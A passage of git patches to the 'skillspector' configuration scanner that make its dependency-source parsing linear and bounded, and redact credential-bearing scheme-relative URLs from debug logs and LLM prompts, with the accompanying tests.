+| Resource | Limit | +|---|---:| +| Physical bytes per direct configuration file | 1,000,000 | +| Parsed configuration nodes | 50,000 | +| YAML aliases | 256 | +| Configuration depth | 64 | +| Retained source records | 50,000 | +| Retained literal bytes | 2,000,000 | +| Emitted source changes | 10,000 | + +## Executable and generated configuration boundary + +This implementation does not parse commands or generated configuration. It structurally +recognizes executable shell files, executable inventory entries, Dockerfiles containing `RUN`, +Make recipes, and shell-like Markdown fences only to report their affected ranges as +`unscanned_executable_content`. Those ranges are incomplete coverage pending the syntax-aware +parser follow-up; their contents do not produce SC10 findings in this implementation. + +The coverage notice does not guess whether a dependency-source command is present. It prevents a +recognized executable surface from being represented as fully analyzed and can raise an otherwise +`SAFE` report to `CAUTION` through the existing completeness policy. It does not change risk +scoring or recommendation policy. + +## Security and product boundary + +SC10 does not execute project content, commands, package managers, or generated files. It makes no +network, DNS, or reputation requests; maintains no user-managed allow/block/trust lists; and adds +no telemetry, service, or worker. Optional provider analysis may add presentation context, but it +cannot suppress or downgrade the deterministic SC10 evidence. + +The result remains advisory. A `HIGH` finding or incomplete-coverage notice is evidence for the +user's review, not an installation decision or certification. From a8a0fe3976bbfb52bfa9036bc326edb0a747c6cc Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 13:00:48 -0700 Subject: [PATCH 28/30] docs(sc10): clarify Cargo reporting scope Signed-off-by: Nir Paz --- docs/DEPENDENCY_SOURCE_REDIRECTION.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/DEPENDENCY_SOURCE_REDIRECTION.md b/docs/DEPENDENCY_SOURCE_REDIRECTION.md index 6366f560..bc52379b 100644 --- a/docs/DEPENDENCY_SOURCE_REDIRECTION.md +++ b/docs/DEPENDENCY_SOURCE_REDIRECTION.md @@ -21,8 +21,9 @@ SC10 inspects only the following direct configuration surfaces: | Maven | `settings.xml`, `pom.xml` | Settings mirrors and profile repositories/plugin repositories; direct project repositories/plugin repositories | For Maven, `distributionManagement` descendants are outside this rule's direct-source scope. -For Cargo, directory, local-registry, and Git source targets are inert unless an applicable -replacement chain resolves to a supported registry destination. +For Cargo, directory, local-registry, and Git source targets are outside SC10's reporting scope. +A `replace-with` chain is reported only when it resolves to a `[source.*].registry` or +`[registries.*].index` destination. The analyzer suppresses an unchanged canonical public default. It compares only the exact built-in ecosystem defaults, with scheme and host case normalization and an optional trailing From 0f37541de063ef93cf573b358170bc10af3c1acd Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 16:23:56 -0700 Subject: [PATCH 29/30] fix(sc10): harden redaction and parser bounds Signed-off-by: Nir Paz --- src/skillspector/dependency_sources.py | 109 +++++++++++----- src/skillspector/nodes/build_context.py | 14 ++- src/skillspector/url_redaction.py | 53 ++++++-- .../analyzers/test_dependency_sources.py | 117 ++++++++++++++++++ tests/nodes/test_build_context.py | 80 ++++++++++++ tests/nodes/test_meta_analyzer.py | 50 ++++++++ tests/unit/test_url_redaction.py | 63 ++++++++++ 7 files changed, 440 insertions(+), 46 deletions(-) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 0e9b29b5..3427519f 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -10,6 +10,7 @@ import re import tomllib import xml.etree.ElementTree as ET +from bisect import bisect_left from collections.abc import Iterable, Mapping, Sequence from dataclasses import dataclass, field from typing import Final, cast @@ -847,6 +848,18 @@ def _char_to_byte_offsets(text: str) -> list[int]: return offsets +def _newline_offsets(value: str | bytes) -> tuple[int, ...]: + """Index LF boundaries once for bounded source-span correlation.""" + if isinstance(value, bytes): + return tuple(index for index, character in enumerate(value) if character == ord("\n")) + return tuple(index for index, character in enumerate(value) if character == "\n") + + +def _line_number_at(newline_offsets: tuple[int, ...], offset: int) -> int: + """Return the one-based physical line containing a half-open source offset.""" + return bisect_left(newline_offsets, offset) + 1 + + def _yaml_attach_node( node: _YamlNode, stack: list[_YamlFrame], @@ -1136,6 +1149,12 @@ def _parse_yarn_yaml( if root_pairs is None: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + has_relevant_root_key = any( + _yaml_key(key, anchors) in {"npmRegistryServer", "npmScopes"} for key, _value in root_pairs + ) + if root.tag is not None and has_relevant_root_key: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if any( _yaml_key(key, anchors) is None and any( @@ -1410,6 +1429,7 @@ def _toml_url_cursors( } current: _TomlTableCursor | None = None byte_offsets = _char_to_byte_offsets(text) + newline_offsets = _newline_offsets(text) position = 0 multiline_delimiter: str | None = None while position < len(text): @@ -1446,8 +1466,8 @@ def _toml_url_cursors( while value_start < len(text) and text[value_start] in " \t": value_start += 1 value_end = _toml_value_extent(text, value_start) - start_line = text.count("\n", 0, value_start) + 1 - end_line = text.count("\n", 0, value_end) + 1 + start_line = _line_number_at(newline_offsets, value_start) + end_line = _line_number_at(newline_offsets, value_end) if current.url_span is not None or value_end <= value_start: return None current.url_span = SourceSpan( @@ -1627,6 +1647,7 @@ def _toml_direct_value_cursors( cursors: dict[tuple[tuple[str, ...], str], SourceSpan] = {} current_table: tuple[str, ...] | None = None byte_offsets = _char_to_byte_offsets(text) + newline_offsets = _newline_offsets(text) position = 0 multiline_delimiter: str | None = None while position < len(text): @@ -1671,8 +1692,8 @@ def _toml_direct_value_cursors( path, byte_offsets[value_start], byte_offsets[value_end], - text.count("\n", 0, value_start) + 1, - text.count("\n", 0, value_end) + 1, + _line_number_at(newline_offsets, value_start), + _line_number_at(newline_offsets, value_end), ) position = value_end next_newline = text.find("\n", position) @@ -1683,6 +1704,52 @@ def _toml_direct_value_cursors( return cursors +def _resolve_cargo_replacements( + sources: Mapping[str, tuple[str, str, SourceSpan]], + registries: Mapping[str, tuple[str, SourceSpan]], +) -> dict[str, str | None] | None: + """Resolve every Cargo replacement once, memoizing shared chain suffixes.""" + memo: dict[str, str | None] = {} + resolved_sources: dict[str, str | None] = {} + for source_name, (kind, target_name, _span) in sources.items(): + if kind != "replace-with": + continue + seen = {source_name} + traversed: list[str] = [] + current = target_name + while True: + if current in seen: + return None + seen.add(current) + + source = sources.get(current, _MISSING) + registry = registries.get(current, _MISSING) + if source is not _MISSING and registry is not _MISSING: + return None + if current in memo: + destination = memo[current] + break + + traversed.append(current) + if source is not _MISSING: + target_kind, target_value, _target_span = cast(tuple[str, str, SourceSpan], source) + if target_kind == "replace-with": + current = target_value + continue + destination = target_value if target_kind == "registry" else None + break + if registry is not _MISSING: + destination = cast(tuple[str, SourceSpan], registry)[0] + break + return None + + for traversed_name in traversed: + memo[traversed_name] = destination + memo[source_name] = destination + resolved_sources[source_name] = destination + return resolved_sources + + def _parse_cargo( path: str, text: str, @@ -1762,32 +1829,13 @@ def _parse_cargo( ) ) - for source_name, (kind, target_name, replace_span) in sources.items(): + resolved_sources = _resolve_cargo_replacements(sources, registries) + if resolved_sources is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + for source_name, (kind, _target_name, replace_span) in sources.items(): if kind != "replace-with": continue - seen = {source_name} - current = target_name - destination: str | None = None - while True: - if current in seen: - return DependencySourceParseResult(limitations=(_limitation(path, raw),)) - seen.add(current) - if current in sources and current in registries: - return DependencySourceParseResult(limitations=(_limitation(path, raw),)) - target = sources.get(current) - if target is not None: - target_kind, target_value, _target_span = target - if target_kind == "replace-with": - current = target_value - continue - if target_kind == "registry": - destination = target_value - break - registry = registries.get(current) - if registry is not None: - destination = registry[0] - break - return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + destination = resolved_sources[source_name] if destination is not None: candidates.append( _Candidate( @@ -1976,6 +2024,7 @@ def _xml_raw_local_name(token: bytes) -> str | None: def _xml_url_spans(path: str, raw: bytes) -> list[tuple[tuple[str, ...], SourceSpan, bool]] | None: stack: list[_XmlLexicalFrame] = [] spans: list[tuple[tuple[str, ...], SourceSpan, bool]] = [] + newline_offsets = _newline_offsets(raw) index = 0 while index < len(raw): marker = raw.find(b"<", index) @@ -2029,8 +2078,8 @@ def _xml_url_spans(path: str, raw: bytes) -> list[tuple[tuple[str, ...], SourceS path, span_start, span_end, - raw.count(b"\n", 0, span_start) + 1, - raw.count(b"\n", 0, span_end) + 1, + _line_number_at(newline_offsets, span_start), + _line_number_at(newline_offsets, span_end), ), frame.has_markup, ) diff --git a/src/skillspector/nodes/build_context.py b/src/skillspector/nodes/build_context.py index b86b79d3..f5b3af5e 100644 --- a/src/skillspector/nodes/build_context.py +++ b/src/skillspector/nodes/build_context.py @@ -80,7 +80,7 @@ transitive_traversal_state, ) from skillspector.structured_skill import extract_structured_skill_context_from_cache -from skillspector.url_redaction import redact_text_result +from skillspector.url_redaction import REDACTED_VALUE, redact_text_result logger = get_logger(__name__) @@ -655,6 +655,12 @@ def _count_lines(file_path: Path) -> int: return 0 +def _safe_log_label(value: object) -> str: + """Return a credential-redacted label for an attacker-controlled log field.""" + result = redact_text_result(str(value)) + return result.value if result.complete else REDACTED_VALUE + + def _build_component_metadata( skill_dir: Path, components: list[str], @@ -699,7 +705,7 @@ def _expired(path: str) -> bool: size_bytes = file_stat.st_size mode = file_stat.st_mode except OSError: - logger.debug("Could not stat file: %s", path) + logger.debug("Could not stat file: %s", _safe_log_label(path)) size_bytes = 0 mode = 0 data = content.encode("utf-8", errors="replace") if content is not None else b"" @@ -1152,7 +1158,7 @@ def _record_cache_runtime_limit( ) ) except _FileOpenError as exc: - logger.debug("Could not read file: %s", path) + logger.debug("Could not read file: %s", _safe_log_label(path)) ledger_events.append( ledger_event( outcome=LedgerOutcome.FAILED, @@ -1173,7 +1179,7 @@ def _record_cache_runtime_limit( ) ) except OSError as exc: - logger.debug("Could not read file: %s", path) + logger.debug("Could not read file: %s", _safe_log_label(path)) ledger_events.append( ledger_event( outcome=LedgerOutcome.FAILED, diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index 6b31c231..93f0d959 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -42,7 +42,9 @@ "`": "`", } _SENTENCE_PUNCTUATION: Final = frozenset(".,") -_SCHEME_RELATIVE_TOKEN = re.compile(r"(?:^|\s)[\(\[\{<\"'`]?//") +_SCHEME_RELATIVE_MARKER = re.compile( + r"(?:^[\(\[\{<\"'`]?|\s[\(\[\{<\"'`]?|=[\(\[\{<\"'`]*|:[\(\[\{<\"'`]+)//" +) @dataclass(frozen=True, slots=True, init=False) @@ -154,27 +156,51 @@ def _safe_path(path: str) -> str | None: return f"/{REDACTED_PATH}" -def _marker_count(value: str) -> int: +def _marker_count(value: str, *, max_count: int) -> int: if value == "//": return 0 - hierarchical = list(_HIERARCHICAL_MARKER.finditer(value)) - count = len(hierarchical) - if value.startswith("//"): + stop_after = max_count + 1 + count = 0 + hierarchical_count = 0 + scheme_relative_count = 0 + first_authority_start: int | None = None + + for match in _HIERARCHICAL_MARKER.finditer(value): + hierarchical_count += 1 count += 1 + if first_authority_start is None: + first_authority_start = match.end() + if count >= stop_after: + return stop_after + + for match in _SCHEME_RELATIVE_MARKER.finditer(value): + scheme_relative_count += 1 + count += 1 + if first_authority_start is None: + first_authority_start = match.end() + if count >= stop_after: + return stop_after + if _has_encoded_url_marker(value): count += 1 + if count >= stop_after: + return stop_after - if hierarchical or value.startswith("//"): + if hierarchical_count or scheme_relative_count: raw_slashes = value.count("//") - structural_slashes = len(hierarchical) + (1 if value.startswith("//") else 0) + structural_slashes = hierarchical_count + scheme_relative_count count += max(0, raw_slashes - structural_slashes) - if _has_nested_scp_marker(value, hierarchical[0].end() if hierarchical else 2): + if count >= stop_after: + return stop_after + if first_authority_start is not None and _has_nested_scp_marker( + value, first_authority_start + ): count += 1 elif _has_encoded_scp_structure(value): count += 1 elif _has_scp_structure(value): count += max(1, value.count("@")) - return count + return min(count, stop_after) def _has_encoded_url_marker(value: str) -> bool: @@ -258,7 +284,7 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> return REDACTED_URL try: - markers = _marker_count(value) + markers = _marker_count(value, max_count=1) except Exception: return REDACTED_URL if markers == 0: @@ -333,7 +359,7 @@ def _might_contain_candidate(value: str) -> bool: "://" in value or _has_encoded_url_marker(value) or _has_encoded_scp_structure(value) - or ("//" in value and _SCHEME_RELATIVE_TOKEN.search(value)) + or ("//" in value and _SCHEME_RELATIVE_MARKER.search(value)) or ("@" in value and ":" in value) ) @@ -346,7 +372,10 @@ def _redact_text(value: str, *, max_candidates: int) -> TextRedactionResult: for match in re.finditer(r"\S+", value): token = match.group() opener, candidate, closer, punctuation = _token_parts(token) - signals = _marker_count(candidate) + signals = _marker_count( + candidate, + max_count=max_candidates - candidates, + ) if signals == 0: continue if signals > max_candidates - candidates: diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index f68391e0..f4d16726 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -6,6 +6,7 @@ from __future__ import annotations import importlib +from bisect import bisect_left from collections.abc import Iterable, Mapping from typing import Any @@ -88,6 +89,26 @@ def _assert_single_parse_limitation(analysis: Any, *, path: str, end_line: int) return limitation +def _install_line_lookup_spies( + module: Any, + monkeypatch: pytest.MonkeyPatch, +) -> dict[str, int]: + calls = {"builds": 0, "lookups": 0} + + def newline_offsets(value: str | bytes) -> tuple[int, ...]: + calls["builds"] += 1 + marker: str | int = ord("\n") if isinstance(value, bytes) else "\n" + return tuple(index for index, character in enumerate(value) if character == marker) + + def line_number_at(offsets: tuple[int, ...], offset: int) -> int: + calls["lookups"] += 1 + return bisect_left(offsets, offset) + 1 + + monkeypatch.setattr(module, "_newline_offsets", newline_offsets, raising=False) + monkeypatch.setattr(module, "_line_number_at", line_number_at, raising=False) + return calls + + def test_analysis_exposes_applicable_and_inspected_config_spans() -> None: clean = _analyze({".npmrc": "registry=https://registry.npmjs.org/\n"}) malformed = _analyze({"pip.conf": "[global\nindex-url=https://example.invalid\n"}) @@ -1039,6 +1060,17 @@ def test_yarn_yaml_rejects_explicitly_tagged_relevant_key_reached_through_alias( _assert_single_parse_limitation(analysis, path=".yarnrc.yml", end_line=3) +def test_yarn_yaml_rejects_tagged_relevant_root_but_keeps_unrelated_tagged_root_inert() -> None: + relevant = _analyze( + {".yarnrc.yml": "!!map {npmRegistryServer: https://packages.example.invalid/simple}\n"} + ) + unrelated = _analyze({".yarnrc.yml": "!!map {unrelated: value}\n"}) + + _assert_single_parse_limitation(relevant, path=".yarnrc.yml", end_line=2) + assert unrelated.findings == () + assert unrelated.limitations == () + + def test_yarn_yaml_node_budget_is_charged_once_before_construction() -> None: # Root mapping, key scalar, and value scalar are the three node-producing events. exact_budget = DependencyWorkBudget() @@ -1624,6 +1656,91 @@ def test_cargo_two_hop_fan_in_emits_each_replacement_and_target_only_once() -> N assert private_name not in repr(analysis) +class _LookupCountingDict(dict[str, object]): + def __init__(self, values: Mapping[str, object]) -> None: + super().__init__(values) + self.lookups = 0 + + def __contains__(self, key: object) -> bool: + self.lookups += 1 + return super().__contains__(key) + + def get(self, key: str, default: object = None) -> object: + self.lookups += 1 + return super().get(key, default) + + +def test_cargo_replacement_resolution_uses_linear_memoized_lookups_near_output_limit() -> None: + module = importlib.import_module("skillspector.dependency_sources") + chain_length = MAX_DEPENDENCY_SOURCE_CHANGES - 1 + destination = "sparse+https://packages.example.invalid/index/" + span = module.SourceSpan(".cargo/config.toml", 0, 1, 1, 1) + sources = _LookupCountingDict( + { + f"source-{index}": ( + "replace-with", + f"source-{index + 1}" if index + 1 < chain_length else "target", + span, + ) + for index in range(chain_length) + } + ) + registries = _LookupCountingDict({"target": (destination, span)}) + resolver = getattr(module, "_resolve_cargo_replacements", None) + + assert callable(resolver), "Cargo replacement chains need one memoized resolver" + resolved = resolver(sources, registries) + + assert resolved == {f"source-{index}": destination for index in range(chain_length)} + assert sources.lookups + registries.lookups <= chain_length * 8 + + +@pytest.mark.parametrize("family", ["python-toml", "cargo-toml", "maven-xml"]) +def test_structured_source_span_line_lookups_are_precomputed_and_linear_near_change_limit( + family: str, + monkeypatch: pytest.MonkeyPatch, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + record_count = MAX_DEPENDENCY_SOURCE_CHANGES - 1 + calls = _install_line_lookup_spies(module, monkeypatch) + + if family == "python-toml": + content = "".join( + f"[[index]]\nurl='https://host-{index}.example.invalid/simple'\n" + for index in range(record_count) + ) + cursors = module._toml_url_cursors("uv.toml", content, frozenset({("index",)})) + assert cursors is not None + assert len(cursors[("index",)]) == record_count + elif family == "cargo-toml": + content = "".join( + f"[registries.registry-{index}]\nindex='https://host-{index}.example.invalid/index'\n" + for index in range(record_count) + ) + cursors = module._toml_direct_value_cursors( + ".cargo/config.toml", + content, + frozenset({"registries"}), + frozenset({"index"}), + ) + assert cursors is not None + assert len(cursors) == record_count + else: + content = ( + "" + + "".join( + f"https://host-{index}.example.invalid/m2" + for index in range(record_count) + ) + + "" + ) + cursors = module._xml_url_spans("pom.xml", content.encode("utf-8")) + assert cursors is not None + assert len(cursors) == record_count + + assert calls == {"builds": 1, "lookups": record_count * 2} + + @pytest.mark.parametrize( ("source_target", "registry_url"), [ diff --git a/tests/nodes/test_build_context.py b/tests/nodes/test_build_context.py index 58871068..cde8d868 100644 --- a/tests/nodes/test_build_context.py +++ b/tests/nodes/test_build_context.py @@ -22,6 +22,7 @@ import base64 import json +import logging import os from pathlib import Path from time import monotonic @@ -941,6 +942,25 @@ def test_build_context_redacts_visible_config_urls_before_provider_cache(tmp_pat assert result["llm_redaction_incomplete_paths"] == [] +def test_build_context_redacts_embedded_scheme_relative_url_before_provider_cache( + tmp_path: Path, +) -> None: + sentinel = "task9-build-context-scheme-relative-secret" + (tmp_path / "SKILL.md").write_text("# Skill\n", encoding="utf-8") + (tmp_path / "pip.conf").write_text( + "[global]\n" + f"index-url=//user:{sentinel}@packages.example.invalid/private?token={sentinel}\n", + encoding="utf-8", + ) + + result = build_context({"skill_path": str(tmp_path)}) + + provider_projection = json.dumps(result["llm_file_cache"], sort_keys=True) + assert sentinel not in provider_projection + assert "[REDACTED_URL]" in result["llm_file_cache"]["pip.conf"] + assert sentinel in result["local_file_cache"]["pip.conf"] + + def test_build_context_omits_visible_artifact_when_url_redaction_is_incomplete( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: @@ -975,6 +995,66 @@ def bounded_redactor(value: str) -> TextRedactionResult: assert sentinel in result["local_file_cache"]["pip.conf"] +def test_component_metadata_stat_failure_redacts_credential_shaped_path_in_debug_log( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + caplog: pytest.LogCaptureFixture, +) -> None: + import skillspector.nodes.build_context as build_context_module + + sentinel = "task9-stat-log-secret" + path = f"registry=//user:{sentinel}@host.invalid/private" + target = tmp_path / path + real_stat = Path.stat + + def fail_target_stat(self: Path, *args: object, **kwargs: object) -> os.stat_result: + if self == target: + raise OSError("stat failed") + return real_stat(self, *args, **kwargs) + + monkeypatch.setattr(Path, "stat", fail_target_stat) + + with caplog.at_level(logging.DEBUG, logger="skillspector"): + build_context_module._build_component_metadata( + tmp_path, + [path], + {path: "safe content"}, + ) + + assert sentinel not in caplog.text + assert path not in caplog.text + + +@pytest.mark.parametrize("failure_kind", ["open", "os"], ids=("open-error", "os-error")) +def test_cache_read_failures_redact_credential_shaped_path_in_debug_log( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + caplog: pytest.LogCaptureFixture, + failure_kind: str, +) -> None: + import skillspector.nodes.build_context as build_context_module + + sentinel = "task9-read-log-secret" + path = f"registry=//user:{sentinel}@host.invalid/private" + target = tmp_path / path + target.parent.mkdir(parents=True) + target.write_text("safe content\n", encoding="utf-8") + + def fail_read(file_path: Path, *, max_bytes: int | None = None) -> bytes: + del max_bytes + if failure_kind == "open": + raise build_context_module._FileOpenError(file_path, PermissionError("denied")) + raise OSError("read failed") + + monkeypatch.setattr(build_context_module, "_read_bytes_no_follow", fail_read) + + with caplog.at_level(logging.DEBUG, logger="skillspector"): + build_context_module._read_file_cache(tmp_path, [path]) + + assert sentinel not in caplog.text + assert path not in caplog.text + + def test_build_context_reports_read_error_without_fake_empty_content( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/nodes/test_meta_analyzer.py b/tests/nodes/test_meta_analyzer.py index c211b10b..84f86ab6 100644 --- a/tests/nodes/test_meta_analyzer.py +++ b/tests/nodes/test_meta_analyzer.py @@ -346,6 +346,56 @@ def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: assert "packages.example.invalid" in submitted[0] +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_sync_embedded_scheme_relative_prompt_never_reaches_provider_raw() -> None: + sentinel = "task9-sync-scheme-relative-secret" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + batch = Batch( + file_path="pip.conf", + content=(f"index-url=//user:{sentinel}@packages.example.invalid/private?token={sentinel}"), + ) + submitted: list[str] = [] + + def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: + submitted.append(prompt) + return AIMessage(content="ok") + + with patch("skillspector.llm_analyzer_base._invoke_with_usage", side_effect=capture): + outcome = analyzer.run_batches_detailed([batch]) + + assert len(outcome.successful) == 1 + assert len(submitted) == 1 + assert sentinel not in submitted[0] + assert "[REDACTED_URL]" in submitted[0] + + +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_async_embedded_scheme_relative_prompt_never_reaches_provider_raw() -> None: + sentinel = "task9-async-scheme-relative-secret" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + batch = Batch( + file_path="pip.conf", + content=(f"index-url=//user:{sentinel}@packages.example.invalid/private?token={sentinel}"), + ) + submitted: list[str] = [] + + async def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: + submitted.append(prompt) + return AIMessage(content="ok") + + with patch( + "skillspector.llm_analyzer_base._ainvoke_with_usage", + new_callable=AsyncMock, + side_effect=capture, + ): + outcome = run_async(analyzer.arun_batches_detailed([batch], max_concurrency=1)) + + assert len(outcome.successful) == 1 + assert len(submitted) == 1 + assert sentinel not in submitted[0] + assert "[REDACTED_URL]" in submitted[0] + + @patch(MOCK_PATCH_TARGET, _mock_get_chat_model) def test_sync_incomplete_prompt_redaction_makes_zero_calls_and_zero_retries() -> None: sentinel = "task7-sync-incomplete-secret" diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index 45464797..b101c6d9 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -186,6 +186,69 @@ def test_text_discovers_single_component_and_encoded_scp_candidates( assert api.redact_text(raw) == expected +@pytest.mark.parametrize( + ("raw", "expected"), + [ + ( + "registry=//user:scheme-relative-secret@host.invalid/private?token=hidden", + api.REDACTED_URL, + ), + ( + '{"registry":"//user:scheme-relative-secret@host.invalid/private?token=hidden"}', + api.REDACTED_URL, + ), + ( + '{"registry": "//user:scheme-relative-secret@host.invalid/private?token=hidden"}', + f'{{"registry": {api.REDACTED_URL}', + ), + ( + 'src="//user:scheme-relative-secret@host.invalid/private?token=hidden"', + api.REDACTED_URL, + ), + ], + ids=("assignment", "compact-json", "spaced-json", "source-markup"), +) +def test_embedded_scheme_relative_candidates_are_whole_masked(raw: str, expected: str) -> None: + result = api.redact_text_result(raw) + + assert result == api.TextRedactionResult( + value=expected, + complete=True, + candidates=1, + reason=None, + ) + assert "scheme-relative-secret" not in result.value + + +class _SyntheticMatch: + def end(self) -> int: + return len("https://") + + +class _CountingMarkerPattern: + def __init__(self) -> None: + self.visits = 0 + + def finditer(self, _value: str) -> Iterator[_SyntheticMatch]: + for _index in range(10_000): + self.visits += 1 + yield _SyntheticMatch() + + +def test_dense_marker_count_stops_at_remaining_candidate_budget_plus_one( + monkeypatch: pytest.MonkeyPatch, +) -> None: + pattern = _CountingMarkerPattern() + monkeypatch.setattr(api, "_HIERARCHICAL_MARKER", pattern) + + result = api.redact_text_result("https://host.invalid/path", max_candidates=1) + + assert result.complete is False + assert result.reason is api.TextRedactionIncompleteReason.CANDIDATE_LIMIT + assert result.candidates == 0 + assert pattern.visits == 2 + + def test_multiple_candidates_in_one_token_are_whole_masked_or_exhaust_the_remainder() -> None: raw = "https://one.invalid/x,https://two.invalid/y" From 6fe96c4d50e94575babe38c39463232bc78b3a92 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 16:50:43 -0700 Subject: [PATCH 30/30] fix(sc10): redact scheme-relative markup URLs Signed-off-by: Nir Paz --- src/skillspector/url_redaction.py | 2 +- tests/nodes/test_build_context.py | 32 +++++++++++ tests/nodes/test_meta_analyzer.py | 88 +++++++++++++++++++++++++++++++ tests/unit/test_url_redaction.py | 23 ++++++++ 4 files changed, 144 insertions(+), 1 deletion(-) diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index 93f0d959..632d4cc3 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -43,7 +43,7 @@ } _SENTENCE_PUNCTUATION: Final = frozenset(".,") _SCHEME_RELATIVE_MARKER = re.compile( - r"(?:^[\(\[\{<\"'`]?|\s[\(\[\{<\"'`]?|=[\(\[\{<\"'`]*|:[\(\[\{<\"'`]+)//" + r"(?:^[\(\[\{<\"'`]?|\s[\(\[\{<\"'`]?|=[\(\[\{<\"'`]*|:[\(\[\{<\"'`]+|[>(])//" ) diff --git a/tests/nodes/test_build_context.py b/tests/nodes/test_build_context.py index cde8d868..94b2dfcc 100644 --- a/tests/nodes/test_build_context.py +++ b/tests/nodes/test_build_context.py @@ -961,6 +961,38 @@ def test_build_context_redacts_embedded_scheme_relative_url_before_provider_cach assert sentinel in result["local_file_cache"]["pip.conf"] +@pytest.mark.parametrize( + "template", + [ + "//user:{sentinel}@packages.example.invalid/{private_path}", + "url(//user:{sentinel}@packages.example.invalid/{private_path})", + ], + ids=("element-markup", "functional-markup"), +) +def test_build_context_redacts_markup_embedded_scheme_relative_url_before_provider_cache( + tmp_path: Path, + caplog: pytest.LogCaptureFixture, + template: str, +) -> None: + sentinel = "round2-build-context-scheme-relative-secret" + private_path = "round2-build-context-private-path" + raw = template.format(sentinel=sentinel, private_path=private_path) + (tmp_path / "SKILL.md").write_text("# Skill\n", encoding="utf-8") + (tmp_path / "pip.conf").write_text(f"index-url={raw}\n", encoding="utf-8") + + with caplog.at_level(logging.DEBUG, logger="skillspector"): + result = build_context({"skill_path": str(tmp_path)}) + + provider_projection = json.dumps(result["llm_file_cache"], sort_keys=True) + assert sentinel not in provider_projection + assert private_path not in provider_projection + assert "[REDACTED_URL]" in result["llm_file_cache"]["pip.conf"] + assert raw in result["local_file_cache"]["pip.conf"] + assert result["llm_redaction_incomplete_paths"] == [] + assert sentinel not in caplog.text + assert private_path not in caplog.text + + def test_build_context_omits_visible_artifact_when_url_redaction_is_incomplete( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/nodes/test_meta_analyzer.py b/tests/nodes/test_meta_analyzer.py index 84f86ab6..7ca87d32 100644 --- a/tests/nodes/test_meta_analyzer.py +++ b/tests/nodes/test_meta_analyzer.py @@ -396,6 +396,94 @@ async def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: assert "[REDACTED_URL]" in submitted[0] +@pytest.mark.parametrize( + "template", + [ + "//user:{sentinel}@packages.example.invalid/{private_path}", + "url(//user:{sentinel}@packages.example.invalid/{private_path})", + ], + ids=("element-markup", "functional-markup"), +) +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_sync_markup_embedded_scheme_relative_prompt_never_reaches_provider_raw( + template: str, + caplog: pytest.LogCaptureFixture, +) -> None: + sentinel = "round2-sync-scheme-relative-secret" + private_path = "round2-sync-private-path" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + batch = Batch( + file_path="pip.conf", + content=template.format(sentinel=sentinel, private_path=private_path), + ) + submitted: list[str] = [] + + def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: + submitted.append(prompt) + return AIMessage(content="ok") + + with ( + caplog.at_level(logging.DEBUG, logger="skillspector"), + patch("skillspector.llm_analyzer_base._invoke_with_usage", side_effect=capture), + ): + outcome = analyzer.run_batches_detailed([batch]) + + assert len(outcome.successful) == 1 + assert outcome.failures == [] + assert len(submitted) == 1 + assert sentinel not in submitted[0] + assert private_path not in submitted[0] + assert "[REDACTED_URL]" in submitted[0] + assert sentinel not in caplog.text + assert private_path not in caplog.text + + +@pytest.mark.parametrize( + "template", + [ + "//user:{sentinel}@packages.example.invalid/{private_path}", + "url(//user:{sentinel}@packages.example.invalid/{private_path})", + ], + ids=("element-markup", "functional-markup"), +) +@patch(MOCK_PATCH_TARGET, _mock_get_chat_model) +def test_async_markup_embedded_scheme_relative_prompt_never_reaches_provider_raw( + template: str, + caplog: pytest.LogCaptureFixture, +) -> None: + sentinel = "round2-async-scheme-relative-secret" + private_path = "round2-async-private-path" + analyzer = _PromptBoundaryAnalyzer(base_prompt="inspect", model="test/model") + batch = Batch( + file_path="pip.conf", + content=template.format(sentinel=sentinel, private_path=private_path), + ) + submitted: list[str] = [] + + async def capture(_llm: object, prompt: str, _collector: object) -> AIMessage: + submitted.append(prompt) + return AIMessage(content="ok") + + with ( + caplog.at_level(logging.DEBUG, logger="skillspector"), + patch( + "skillspector.llm_analyzer_base._ainvoke_with_usage", + new_callable=AsyncMock, + side_effect=capture, + ), + ): + outcome = run_async(analyzer.arun_batches_detailed([batch], max_concurrency=1)) + + assert len(outcome.successful) == 1 + assert outcome.failures == [] + assert len(submitted) == 1 + assert 